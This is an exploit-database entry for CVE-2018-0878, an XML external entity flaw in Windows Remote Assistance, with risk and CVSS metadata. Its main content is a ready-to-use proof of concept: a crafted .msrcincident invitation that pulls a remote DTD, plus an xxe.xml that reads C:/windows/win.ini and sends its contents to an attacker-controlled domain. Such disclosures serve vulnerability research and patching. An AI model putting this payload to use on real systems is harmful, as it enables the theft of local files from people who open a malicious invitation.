Microsoft Windows Remote Assistance XML External Entity Injection

2018.03.29

Credit: Nabeel Ahmed

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2018-0878

CWE: CWE-611

CVSS Base Score: 2.6/10

Impact Subscore: 2.9/10

Exploitability Subscore: 4.9/10

Exploit range: Remote

Attack complexity: High

Authentication: No required

Confidentiality impact: Partial

Integrity impact: None

Availability impact: None

# Exploit Title: Microsoft Windows Remote Assistance XXE
# Date: 27/03/2018
# Exploit Author: Nabeel Ahmed
# Tested on: Windows 7 (x64), Windows 10 (x64)
# CVE : CVE-2018-0878
# Category: Remote Exploits
Invitation.msrcincident
------------------------
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE zsl [
<!ENTITY % remote SYSTEM "http://<yourdomain.com>/xxe.xml">
%remote;%root;%oob;]>
xxe.xml
------------------------
<!ENTITY % payload SYSTEM "file:///C:/windows/win.ini">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://<yourdomain.com>/?%payload;'> ">
Reference: https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/
Reference: Vulnerability discovered by Nabeel Ahmed (@NabeelAhmedBE) of Dimension Data (https://www.dimensiondata.com)

References:

https://krbtgt.pw/windows-remote-assistance-xxe-vulnerability/

See this note in RAW Version

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Microsoft Windows Remote Assistance XML External Entity Injection

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